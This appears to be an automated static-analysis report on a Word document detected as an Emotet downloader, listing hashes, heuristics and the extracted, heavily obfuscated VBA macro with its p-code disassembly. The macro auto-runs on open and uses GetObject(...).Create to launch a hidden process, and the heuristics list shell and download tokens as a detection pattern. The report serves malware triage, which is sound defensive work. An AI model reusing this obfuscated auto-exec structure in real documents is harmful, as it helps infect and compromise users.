Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bb056f99821fc64…

MALICIOUS

Office (OLE)

168.6 KB Created: 2019-03-28 19:47:00 Authoring application: Microsoft Office Word First seen: 2021-01-11
MD5: 3250b64adf6d5be02a224f9128554edb SHA-1: c8e94b45c65b50c873ea623fe0c5a0f43bf42229 SHA-256: 5bb056f99821fc64d9ed1ff7d4c1dc13d6e097eca46fc3327495fbeb1431fbf1
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6916024-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6916024-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set uGAAUAX = GetObject(cGDABAQ.bAAAAD + YAXGQQxo.z4AXo4 + cGDABAQ.bAAAAD.Tag)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22317 bytes
SHA-256: 72ade711bb5ea72071694448a3d3a390f2e05e817ffe0a8252b757bf42d07382
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zxAD1ZA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cGDABAQ"
Attribute VB_Base = "0{8411D7C6-E63B-407B-BD8C-F3BBE1DDA996}{5FCC6A50-C6BB-4371-98C5-75CC1C702E38}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YAXGQQxo"
Attribute VB_Base = "0{F4080114-956F-471F-B7CF-8ED3DA939B9C}{43F49E03-A145-4D55-88CA-FA63D43DF70D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "XAAZAA"
Function SGBAAxc_()
   If PAB_XCoA = CA4AowBC Then
zwAAAAAZ = _
fAAwUXA4 / Asc(uDQQoXA) - _
VAcw4B * CDbl(71775048) / pA4DUA * CVar( _
322065214 * Log(UAUAwx)) / jAACAkQA * Rnd( _
935337221) * 36851705 * Sgn(GDAAAAZx / Log(528117699))
End If
   If iZo4A_ = uDDAGA Then
fBAQAQC = _
QQAAwoA / Asc(skBBAUQA) - _
i_xAAAGc * CDbl(741897102) / CQAxAUoA * CVar( _
676562288 * Log(Vo1AAA)) / zAAkQk1 * Rnd( _
30554392) * 336103028 * Sgn(v1AoABB / Log(541981654))
End If
   If zUoDAQ = lBAA1A Then
ko1QA_c = _
nD4BADk / Asc(ZABkAk) - _
KBDcAA * CDbl(766062249) / wAAUZA * CVar( _
134787569 * Log(VCUD_QB)) / XA4cXo4A * Rnd( _
155905292) * 674594948 * Sgn(iBU_ADA4 / Log(15468))
End If
   If wDAUCD = VxA1BU Then
kAAAxAXo = _
vAB14_ / Asc(mx4GA_) - _
ZQA_wC * CDbl(765919391) / iUD1AAx * CVar( _
190532937 * Log(bXDAAU)) / EAxcQBCA * Rnd( _
662299522) * 638800070 * Sgn(zZcCCD / Log(778662815))
End If
   If aG1XAZ = XUUAGw Then
VGAXAA = _
u1GACDX / Asc(iQUCUB) - _
NXAxBA * CDbl(187888755) / nQcU_AZ * CVar( _
821274010 * Log(rAwDX_)) / jBAABA * Rnd( _
79527010) * 543310555 * Sgn(YAc_U44 / Log(684985581))
End If
   If lAZcQk = aU4CDA Then
tXUABxAA = _
sDUQwCZ / Asc(iDGwwA) - _
FXXBAA * CDbl(66734569) / sUUUBU * CVar( _
167048503 * Log(T4AXAA)) / sAXc_AC * Rnd( _
901941075) * 312913576 * Sgn(iwkA_AD / Log(106088135))
End If
   If wAQAQQAG = zDoAAA_ Then
mGUcBw = _
EAxCU4 / Asc(QAAZoA) - _
WUG1AkX * CDbl(115364674) / AxQCcB * CVar( _
138001555 * Log(jB41ZZk)) / qAA_AcBA * Rnd( _
562699884) * 341004596 * Sgn(sA1U4UGD / Log(655392079))
End If
   If tXAAkx = fAABxU Then
lkxwUGQX = _
LAZAADA / Asc(aXADQU) - _
VQCADBBQ * CDbl(343069335) / sXAAA4 * CVar( _
793074028 * Log(SQAAx4D4)) / ZAoAkAwA * Rnd( _
116304292) * 194021313 * Sgn(ckXXAoxZ / Log(761867615))
End If
End Function
Sub autoopen()
On Error Resume Next
   If zDAZQ1UB = cAxG1kA Then
OABUAAU = _
RBXGcooU / Asc(cDAZwo) - _
rUcxADA * CDbl(291597520) / wAAA_A * CVar( _
246340317 * Log(sXAAA1)) / c_B4QA * Rnd( _
366131615) * 879878114 * Sgn(QADAUAUA / Log(493498193))
End If
   If qBAA_A = o_AAx_CA Then
bcwAAA = _
Aw4AA_D / Asc(SBAAZZU) - _
CU1UAAA * CDbl(10718679) / uDA1xxA * CVar( _
367538414 * Log(cXQXA4A)) / CZB1AU * Rnd( _
623889544) * 132235039 * Sgn(zXAcoAQA / Log(523765723))
End If
Set uGAAUAX = GetObject(cGDABAQ.bAAAAD + YAXGQQxo.z4AXo4 + cGDABAQ.bAAAAD.Tag)
   If bACwAZBA = dD_4_B Then
voQG_A_ = _
VZU1BAAB / Asc(jAcXQA) - _
pA1UXZ * CDbl(218135221) / HBBUAC * CVar( _
714520155 * Log(oAACUQ)) / EZAGxC * Rnd( _
33889719) * 920419408 * Sgn(Zx1ADoA / Log(914658167))
End If
   If CABkAQA = dwAwA_AC Then
ODAAA1A = _
lAZo1BBB / Asc(LBQQACA1) - _
WCkQDB1 * CDbl(806966378) / pQQB_cA * CVar( _
346133583 * Log(ro1DGoA)) / wAxZBAAA * Rnd( _
967089429) * 518109128 * Sgn(oADAAAc / Log(287676595))
End If
If 295587 = 295587 Then
   If zQAAcA = UkDAkZ Then
jQcQ1Ck = _
oDZAAA / Asc(bA_AAAZ) - _
XBDAAAUk * CDbl(935253008) / KBxAQkXQ * CVar( _
881043093 * Log(QA1BUAA)) / aD_Z1U * Rnd( _
171204263) * 632213432 * Sgn(zAAQAU / Log(780625924))
End If
   If joAxQA = sUcCCQAU Then
pDUAZ4DB = _
MoQGBA / Asc(m1BACBAD) - _
bA1QA4_ * CDbl(512599508) / TwAwAQBC * CVar( _
172811876 * Log(cUZcZo)) / GwkDoAU * Rnd( _
758121617) * 699110746 * Sgn(LAABAQGA / Log(892200010))
End If
uGAAUAX.ShOwWiNdOw = KwUc4QB + cGDABAQ.OQA1XAD + XDAQAkQA
   If CAQAAox = WDcAxAAB Then
zAAUUA = _
I4D4kUAo / Asc(mABkAG) - _
IU1Z_QUQ * CDbl(752492886) / wkkQco * CVar( _
318136473 * Log(zBwkcUB_)) / kDZG_A4G * Rnd( _
146767481) * 842211014 * Sgn(hQBBcAk / Log(860030065))
End If
   If BBGkDA_ = C_AAwwA Then
pAcDQAA = _
UwUAAA / Asc(VA1BwxQ) - _
kUAQDAD * CDbl(24514703) / aCQwQ__ * CVar( _
64328093 * Log(tXBG4AAQ)) / fXUAUAD * Rnd( _
622687805) * 302818543 * Sgn(HDCBGAA / Log(503433798))
End If
End If
   If bXAQDA1 = ZAAUUk Then
LAAD4x = _
EAAAD__A / Asc(NQAAXDA) - _
IB4UAkA * CDbl(820852950) / XAXACxD * CVar( _
27512414 * Log(BAAUAoAA)) / zAAAAAZ * Rnd( _
927396995) * 105591061 * Sgn(hAAB_D / Log(619275324))
End If
   If UCkAZC = jQZAAD1B Then
O4owAk1w = _
TAUAQ_ / Asc(q1cAACG) - _
vAAABA * CDbl(328263117) / MX1x_1G * CVar( _
678445396 * Log(rwQUAAQ)) / z_AQAQDC * Rnd( _
218627162) * 104944356 * Sgn(TxCwB1 / Log(794791371))
End If
   If JGQUQQ = R1cAkA Then
RGAAUZQ = _
VAAAAAD / Asc(jUXACwG) - _
ZAADBc * CDbl(862361189) / vU_GkoAk * CVar( _
715595440 * Log(VUAQGA)) / aUk_Aw * Rnd( _
63145112) * 82765272 * Sgn(zAABwX / Log(266729354))
End If
Call GetObject(cGDABAQ.bAAAAD + YAXGQQxo.nUUxk4U + cGDABAQ.bAAAAD.PasswordChar).Create((cGDABAQ.bAAAAD.Text + YAXGQQxo.RAcAAA + cGDABAQ.bAAAAD.Tag + YAXGQQxo.oAxokDA + cGDABAQ.bAAAAD + cGDABAQ.bAAAAD.Tag + YAXGQQxo.sA__DAA + cGDABAQ.bAAAAD.Tag + cGDABAQ.bAAAAD + YAXGQQxo.PAQQQCX + cGDABAQ.bAAAAD + YAXGQQxo.OBA4AoB + cGDABAQ.bAAAAD), YAXADUB, uGAAUAX, cGDABAQ.bAAAAD.Text)
   If BAAAAoQ = uAAA11 Then
nBACoA = _
HBBXAAA / Asc(Bw44xC) - _
zAQxcQ * CDbl(557705059) / iBAGAA * CVar( _
941190709 * Log(BcABADA)) / D1_AAD * Rnd( _
816544698) * 925721790 * Sgn(WA1xAU / Log(38462520))
End If
   If X1AACo = hADZUU Then
OBAXBkAA = _
YAXAQZQ / Asc(UACw1o) - _
kUAAAUA * CDbl(463683340) / AGAQcc * CVar( _
469351513 * Log(pwDoCxAA)) / hCAZUA * Rnd( _
345953955) * 446400129 * Sgn(KACQXQc / Log(739968329))
End If
   If OcABAABk = hAAQZQ Then
qU_BADU4 = _
J1AXw1AA / Asc(w_x4DC) - _
WADx_Q * CDbl(910199590) / XBAAGU * CVar( _
745766787 * Log(pAUxAQk)) / SUo_XB * Rnd( _
565667113) * 164531244 * Sgn(JBG1AcX / Log(878519976))
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/b6c7f436a9f84a2b99ed0d9fec1f4add.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zxAD1ZA - 1105 bytes
' Macros/VBA/cGDABAQ - 1157 bytes
' Macros/VBA/YAXGQQxo - 1159 bytes
' Macros/VBA/XAAZAA - 9342 bytes
' Line #0:
' 	FuncDefn (Function XAAZAA())
' Line #1:
' 	Ld SGBAAxc_ 
' 	Ld PAB_XCoA 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld zwAAAAAZ 
' 	Ld fAAwUXA4 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld uDQQoXA 
' 	LitDI4 0x3348 0x0447 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld VAcw4B 
' 	Div 
' 	LitDI4 0x533E 0x1332 
' 	Ld pA4DUA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld UAUAwx 
' 	Div 
' 	LitDI4 0x1D05 0x37C0 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x4FF9 0x0232 
' 	Mul 
' 	Ld jAACAkQA 
' 	LitDI4 0x6FC3 0x1F7A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St CA4AowBC 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	Ld GDAAAAZx 
' 	Ld iZo4A_ 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld fBAQAQC 
' 	Ld QQAAwoA 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld skBBAUQA 
' 	LitDI4 0x738E 0x2C38 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld i_xAAAGc 
' 	Div 
' 	LitDI4 0x8570 0x2853 
' 	Ld CQAxAUoA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld Vo1AAA 
' 	Div 
' 	LitDI4 0x3918 0x01D2 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x8674 0x1408 
' 	Mul 
' 	Ld zAAkQk1 
' 	LitDI4 0xFBD6 0x204D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St uDDAGA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld v1AoABB 
' 	Ld zUoDAQ 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld ko1QA_c 
' 	Ld nD4BADk 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld ZABkAk 
' 	LitDI4 0x2EA9 0x2DA9 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld KBDcAA 
' 	Div 
' 	LitDI4 0xB1F1 0x0808 
' 	Ld wAAUZA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld VCUD_QB 
' 	Div 
' 	LitDI4 0xED0C 0x094A 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x8084 0x2835 
' 	Mul 
' 	Ld XA4cXo4A 
' 	LitDI2 0x3C6C 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St lBAA1A 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld iBU_ADA4 
' 	Ld wDAUCD 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld kAAAxAXo 
' 	Ld vAB14_ 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld mx4GA_ 
' 	LitDI4 0x009F 0x2DA7 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZQA_wC 
' 	Div 
' 	LitDI4 0x4D49 0x0B5B 
' 	Ld iUD1AAx 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld bXDAAU 
' 	Div 
' 	LitDI4 0xE382 0x2779 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x50C6 0x2613 
' 	Mul 
' 	Ld EAxcQBCA 
' 	LitDI4 0x739F 0x2E69 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St VxA1BU 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld zZcCCD 
' 	Ld aG1XAZ 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld VGAXAA 
' 	Ld u1GACDX 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld iQUCUB 
' 	LitDI4 0xF473 0x0B32 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld NXAxBA 
' 	Div 
' 	LitDI4 0xA59A 0x30F3 
' 	Ld nQcU_AZ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld rAwDX_ 
' 	Div 
' 	LitDI4 0x7C62 0x04BD 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x42DB 0x2062 
' 	Mul 
' 	Ld jBAABA 
' 	LitDI4 0x0CED 0x28D4 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St XUUAGw 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld YAc_U44 
' 	Ld lAZcQk 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld tXUABxAA 
' 	Ld sDUQwCZ 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld iDGwwA 
' 	LitDI4 0x49E9 0x03FA 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld FXXBAA 
' 	Div 
' 	LitDI4 0xF537 0x09F4 
' 	Ld sUUUBU 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld T4AXAA 
' 	Div 
' 	LitDI4 0x8753 0x35C2 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xAEA8 0x12A6 
' 	Mul 
' 	Ld sAXc_AC 
' 	LitDI4 0xC6C7 0x0652 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St aU4CDA 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld iwkA_AD 
' 	Ld wAQAQQAG 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld mGUcBw 
' 	Ld EAxCU4 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld QAAZoA 
' 	LitDI4 0x5342 0x06E0 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld WUG1AkX 
' 	Div 
' 	LitDI4 0xBC93 0x0839 
' 	Ld AxQCcB 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld jB41ZZk 
' 	Div 
' 	LitDI4 0x1E6C 0x218A 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x5134 0x1453 
' 	Mul 
' 	Ld qAA_AcBA 
' 	LitDI4 0x7D4F 0x2710 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St zDoAAA_ 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	Ld sA1U4UGD 
' 	Ld tXAAkx 
' 	Eq 
' 	IfBlock 
' Line #23:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld lkxwUGQX 
' 	Ld LAZAADA 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld aXADQU 
' 	LitDI4 0xD297 0x1472 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld VQCADBBQ 
' 	Div 
' 	LitDI4 0x596C 0x2F45 
' 	Ld sXAAA4 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld SQAAx4D4 
' 	Div 
' 	LitDI4 0xA9A4 0x06EE 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x87C1 0x0B90 
' 	Mul 
' 	Ld ZAoAkAwA 
' 	LitDI4 0x2D5F 0x2D69 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St fAABxU 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	EndFunc 
' Line #26:
' 	FuncDefn (Sub ckXXAoxZ())
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	Ld autoopen 
' 	Ld zDAZQ1UB 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld OABUAAU 
' 	Ld RBXGcooU 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld cDAZwo 
' 	LitDI4 0x6CD0 0x1161 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld rUcxADA 
' 	Div 
' 	LitDI4 0xDADD 0x0EAE 
' 	Ld wAAA_A 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld sXAAA1 
' 	Div 
' 	LitDI4 0xB99F 0x15D2 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xDFE2 0x3471 
' 	Mul 
' 	Ld c_B4QA 
' 	LitDI4 0x2F51 0x1D6A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St cAxG1kA 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld QADAUAUA 
' 	Ld qBAA_A 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld bcwAAA 
' 	Ld Aw4AA_D 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld SBAAZZU 
' 	LitDI4 0x8DD7 0x00A3 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld CU1UAAA 
' 	Div 
' 	LitDI4 0x30EE 0x15E8 
' 	Ld uDA1xxA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld cXQXA4A 
' 	Div 
' 	LitDI4 0xCC88 0x252F 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xBF1F 0x07E1 
' 	Mul 
' 	Ld CZB1AU 
' 	LitDI4 0x07DB 0x1F38 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St o_AAx_CA 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	SetStmt 
' 	Ld YAXGQQxo 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd bAAAAD 
' 	Add 
' 	Ld YAXGQQxo 
' 	MemLd GetObject 
' 	MemLd z4AXo4 
' 	Add 
' 	ArgsLd uGAAUAX 0x0001 
' 	Set zXAcoAQA 
' Line #35:
' 	Ld Tag 
' 	Ld bACwAZBA 
' 	Eq 
' 	IfBlock 
' Line #36:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld voQG_A_ 
' 	Ld VZU1BAAB 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld jAcXQA 
' 	LitDI4 0x7AB5 0x0D00 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld pA1UXZ 
' 	Div 
' 	LitDI4 0xB65B 0x2A96 
' 	Ld HBBUAC 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld oAACUQ 
' 	Div 
' 	LitDI4 0x1DB7 0x0205 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x7C50 0x36DC 
' 	Mul 
' 	Ld EZAGxC 
' 	LitDI4 0x9377 0x3684 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St dD_4_B 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	Ld Zx1ADoA 
' 	Ld CABkAQA 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld ODAAA1A 
' 	Ld lAZo1BBB 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld LBQQACA1 
' 	LitDI4 0x546A 0x3019 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld WCkQDB1 
' 	Div 
' 	LitDI4 0x944F 0x14A1 
' 	Ld pQQB_cA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld ro1DGoA 
' 	Div 
' 	LitDI4 0x9D15 0x39A4 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xB7C8 0x1EE1 
' 	Mul 
' 	Ld wAxZBAAA 
' 	LitDI4 0x98B3 0x1125 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St dwAwA_AC 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	LitDI4 0x82A3 0x0004 
' 	LitDI4 0x82A3 0x0004 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	Ld oADAAAc 
' 	Ld zQAAcA 
' 	Eq 
' 	IfBlock 
' Line #43:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld jQcQ1Ck 
' 	Ld oDZAAA 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld bA_AAAZ 
' 	LitDI4 0xD410 0x37BE 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld XBDAAAUk 
' 	Div 
' 	LitDI4 0xA695 0x3483 
' 	Ld KBxAQkXQ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld QA1BUAA 
' 	Div 
' 	LitDI4 0x5EA7 0x0A34 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xCFB8 0x25AE 
' 	Mul 
' 	Ld aD_Z1U 
' 	LitDI4 0x6804 0x2E87 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St UkDAkZ 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld zAAQAU 
' 	Ld joAxQA 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld pDUAZ4DB 
' 	Ld MoQGBA 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld m1BACBAD 
' 	LitDI4 0xA5D4 0x1E8D 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld bA1QA4_ 
' 	Div 
' 	LitDI4 0xE664 0x0A4C 
' 	Ld TwAwAQBC 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld cUZcZo 
' 	Div 
' 	LitDI4 0x0491 0x2D30 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x955A 0x29AB 
' 	Mul 
' 	Ld GwkDoAU 
' 	LitDI4 0xE44A 0x352D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St sUcCCQAU 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld ShOwWiNdOw 
' 	Ld YAXGQQxo 
' 	MemLd KwUc4QB 
' 	Add 
' 	Ld OQA1XAD 
' 	Add 
' 	Ld zXAcoAQA 
' 	MemSt LAABAQGA 
' Line #49:
' 	Ld XDAQAkQA 
' 	Ld CAQAAox 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld zAAUUA 
' 	Ld I4D4kUAo 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld mABkAG 
' 	LitDI4 0x2156 0x2CDA 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld IU1Z_QUQ 
' 	Div 
' 	LitDI4 0x6099 0x12F6 
' 	Ld wkkQco 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld zBwkcUB_ 
' 	Div 
' 	LitDI4 0x7E79 0x08BF 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0x1EC6 0x3233 
' 	Mul 
' 	Ld kDZG_A4G 
' 	LitDI4 0x0471 0x3343 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St WDcAxAAB 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Ld hQBBcAk 
' 	Ld BBGkDA_ 
' 	Eq 
' 	IfBlock 
' Line #53:
' 	LineCont 0x0010 02 00 00 00 09 00 00 00 14 00 00 00 20 00 00 00
' 	Ld pAcDQAA 
' 	Ld UwUAAA 
' 	ArgsLd Asc 0x0001 
' 	Div 
' 	Ld VA1BwxQ 
' 	LitDI4 0x108F 0x0176 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld kUAQDAD 
' 	Div 
' 	LitDI4 0x919D 0x03D5 
' 	Ld aCQwQ__ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	Mul 
' 	Ld tXBG4AAQ 
' 	Div 
' 	LitDI4 0x763D 0x251D 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	LitDI4 0xA4EF 0x120C 
' 	Mul 
' 	Ld fXUAUAD 
' 	LitDI4 0xCA46 0x1E01 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St C_AAwwA 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	EndIfBlock 
